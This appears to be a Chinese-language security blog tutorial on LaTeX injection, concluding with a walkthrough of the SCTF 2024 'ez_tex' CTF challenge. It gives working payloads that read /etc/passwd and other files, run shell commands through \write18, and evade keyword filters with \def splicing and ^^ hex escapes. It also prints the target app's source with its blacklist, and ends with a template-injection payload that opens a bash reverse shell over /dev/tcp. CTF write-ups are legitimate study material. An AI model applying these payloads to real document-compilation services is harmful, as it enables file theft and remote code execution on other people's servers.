LaTex Injection技术研究
简单了解
先去gpt学习一波
LaTeX(通常发音为“Lay-tech”或“Lah-tech”)是一种基于TeX的排版系统,广泛用于生成科学和数学文档,因为它能够很好地处理公式和复杂的排版任务。它是由Leslie Lamport在20世纪80年代初设计的,TeX是由Donald Knuth在1970年代末开发的。
以下是LaTeX的一些主要特点和用途:
特点
- 高质量排版:LaTeX能够生成具有出版质量的文档。
- 公式处理:它对数学公式的排版提供了出色的支持。
- 结构化文档:LaTeX鼓励作者使用结构化的文本来编写文档,这使得内容的维护和更新更加容易。
- 可定制性:LaTeX非常灵活,允许用户自定义文档的样式和布局。
- 跨平台:LaTeX可以在各种操作系统上运行,如Windows、macOS和Linux。
基本组成
-
文档类:定义了文档的整体结构和样式,如
article
、book
、report
等。 -
命令和环境:LaTeX使用命令(以反斜杠开头)和环境(由
\begin
和\end
包围)来格式化文本。 - 宏包:为了扩展LaTeX的功能,可以使用宏包(也称为包或package)。
基本用法
- 编写文档:使用文本编辑器编写LaTeX代码。
-
编译文档:使用LaTeX编译器(如
pdflatex
或xelatex
)将LaTeX代码编译成PDF或其他格式的文档。
其中我比较关注的是命令和环境:LaTeX使用命令(以反斜杠开头)和环境(由\begin
和\end
包围)来格式化文本。
基础恶意使用
首先参考使用文档https://en.wikibooks.org/wiki/LaTeX/Command_Glossary
Latex基本框架和基本模式
\documentclass{article}
\usepackage[UTF8]{ctex}
\begin{document}
文件内容
\end{document}
- no-shell-escape
进行\write18{command}
执行, 即使函数已经在texmf.cnf文件中启用 - shell-restricted
与shell-escape类似, 但是只能执行安全的预定义命令集 - shell-escape
允许\wite18{command}
执行
读取文件
input
基本用法
\input{filename}
\input
命令用于将另一个文件的内容包含到当前文档中。这个功能在处理大型文档或者需要重复使用某些内容时非常有用
例子
% This document is compiled using pdfLaTeX
% You can switch XeLaTeX/pdfLaTeX/LaTeX/LuaLaTeX in Settings
\begin{document}
\input{/etc/passwd}
\end{document}
和它作用差不多的还有\include
还有
% This document is compiled using pdfLaTeX
% You can switch XeLaTeX/pdfLaTeX/LaTeX/LuaLaTeX in Settings
\documentclass{article}
\begin{document}
\newread\file
\openin\file=/etc/environment
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\par
\repeat
\closein\file
\end{document}
\newread
命令用于创建一个新的输入流
\openin\file=/etc/passwd
: 这行代码尝试打开位于指定路径的文件 /etc/passwd
进行读取
\ifeof\file表示文件读取结束,\unless
是一个逻辑否定命令,所以这个循环会在文件没有到达末尾时继续。\loop
命令相当于while
\read\file to\fileline就是一行一行的读取代码
\text{\fileline}
: 这行代码将读取的行内容 \fileline
输出到LaTeX文档中。
\repeat标志着循环的结束直到 \loop
命令的条件不再满足
\closein\file: 在循环结束后,这行代码关闭之前打开的文件句柄
\file
写文件
这个需要我们的编译器有写的权限,写文件功能运行在shell-restricted
和shell-escape
两种模式下
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{evil_test}
\closeout\outfile
\newwrite\outfile\newwrite
命令用于创建一个用于写入操作的文件句柄。
\openout\outfile=cmd.tex就是打开cmd.tex文件
\write\outfile{hello-world}将字符串 hello-world
写入到由 \outfile
句柄引用的文件 cmd.tex
中。
\closeout\outfile关闭了由 \outfile
句柄引用的文件。
命令执行
这也是最重要的
% 导言区
\documentclass[12pt,a4paper]{ctexart}
\newcommand{\myfont}{\huge{\textbf{\textit{Hello}}}}
\begin{document}
\immediate\write18{env > output}
\input{output}
\end{document}
\immediate
告诉LaTeX立即执行这个命令,而不是将其推迟到页面输出时。
\write18理解为system就好了
env > output把命令结果放在output中,就是重定向文件的意思
\input{output}尝试将 output
文件的内容包含到文档中。
可以看到读取的文件非常乱,我们可以base64编码一首
% 导言区
\documentclass[12pt,a4paper]{ctexart}
\newcommand{\myfont}{\huge{\textbf{\textit{Hello}}}}
\begin{document}
\immediate\write18{ env |base64>text}
\input{text}
\end{document}
解码后更容易观察
绕过黑名单
经常我们恶意执行命令的都是被waf了
我们可以使用\def 语法绕过,是用来定义变量的
比如我们的immediate就是
\def \imm {\string\imme}
\def \diate {diate}
然后\string就是相当于我们的转义符
% 导言区
\documentclass[12pt,a4paper]{ctexart}
\newcommand{\myfont}{\huge{\textbf{\textit{Hello}}}}
\begin{document}
\def \imm {\string\imme}
\def \diate {diate}
\imm\diate
\end{document}
我们拼接起来试一试能不能执行命令
% 导言区
\documentclass[12pt,a4paper]{ctexart}
\newcommand{\myfont}{\huge{\textbf{\textit{Hello}}}}
\begin{document}
\def \imm {\string\imme}
\def \diate {diate}
\imm\diate\write18{ env |base64>text}
\input{text}
\end{document}
我们通过一个命令来学习一下绕过手法的逻辑
\begin{document}
\def \imm {\string\imme}
\def \diate {diate}
\def \sb {\string18}
\def \wwrite {\string\write\sb}
\def \args {\string{ls > test.tex\string}}
\def \inp {\string\in}
\def \iput {put}
\def \cmd {\string{test.tex\string}}
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile
\newread\file
\openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file
\end{document}
首先就是定义一些常量
然后
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile
\write\outfile{\imm\diate\wwrite\args}
相当于\write\outfile{\immediate\write18{ls > test.tex\string}}
就是把命令执行的结果写入cmd.tex
\newread\file
\openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file
这个和上面的那个内容是差不多的,只不过是读文件
运用实例
在sctf 2024ez_tex中
可以上传tex文件,然后编译
发现是有一些过滤的,然后就是尝试一下刚刚的绕waf,稍微小改一下
对了,提示了是有app.log的,可以访问,但是没有内容,猜测回显是写到app.log文件中
第一次POC
\documentclass[]{article}
\begin{document}
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile
\newread\infile
\openin\infile=cmd.tex
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
\imm^^65diate\read\infile to\line
\imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}
发现页面没有其他的结果,猜测是只能写app.log文件。修改一下paylaod
app是被过滤了的,可以尝试 unicode hex value.或者16进制
\documentclass[]{article}
\begin{document}
\newwrite\outfile
\openout\outfile=a^^70p.l^^6fg
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile
\newread\infile
\openin\infile=a^^70p.l^^6fg
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
\imm^^65diate\read\infile to\line
\imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}
确实可以
既然可以绕过执行命令,但是发现就是内容回显不上去,然后把回显写到app.log上面也不可以,猜测是因为模式的缘故,不可以执行外部命令
然后只能读读文件了,先读了app.py没有内容,换一个
读取main.py
\documentclass[]{article}
\begin{document}
\newread\infile
\openin\infile=main.py
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
\imm^^65diate\read\infile to\line
\imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}
import os
import logging
import subprocess
from flask import Flask, request, render_template, redirect
from werkzeug.utils import secure_filename
app = Flask(__name__)
if not app.debug:
handler = logging.FileHandler('app.log')
handler.setLevel(logging.INFO)
app.logger.addHandler(handler)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def compile_tex(file_path):
output_filename = file_path.rsplit('.', 1)[0] + '.pdf'
try:
subprocess.check_call(['pdflatex', file_path])
return output_filename
except subprocess.CalledProcessError as e:
return str(e)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if file and allowed_file(file.filename):
content = file.read()
try:
content_str = content.decode('utf-8')
except UnicodeDecodeError:
return 'File content is not decodable'
for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate','app', 'flag']:
if bad_char in content_str:
return 'File content is not safe'
file.seek(0)
filename = secure_filename(file.filename)
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)
return 'File uploaded successfully, And you can compile the tex file'
else:
return 'Invalid file type or name'
@app.route('/compile', methods=['GET'])
def compile():
filename = request.args.get('filename')
if not filename:
return 'No filename provided', 400
if len(filename) >= 7:
return 'Invalid file name length', 400
if not filename.endswith('.tex'):
return 'Invalid file type', 400
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
print(file_path)
if not os.path.isfile(file_path):
return 'File not found', 404
output_pdf = compile_tex(file_path)
if output_pdf.endswith('.pdf'):
return "Compilation succeeded"
else:
return 'Compilation failed', 500
@app.route('/log')
def log():
try:
with open('app.log', 'r') as log_file:
log_contents = log_file.read()
return render_template('log.html', log_contents=log_contents)
except FileNotFoundError:
return 'Log file not found', 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=3000, debug=False)
然后思路就一目了然了
就是模板注入
控制html内容
\documentclass[]{article}
\begin{document}
\newwrite\t
\openout\t=templates^^2flog.html
\write\t{{{lipsum.__globals__['os'].popen('bash -c "^^2fbin^^2fsh -i >& ^^2fdev^^2ftcp^^2fip^^2f9999>&1"').read()}}}
\closeout\t
\newpage
foo
\end{document}
连上后
之后提权的就算了
参考https://www.freebuf.com/articles/security-management/308191.html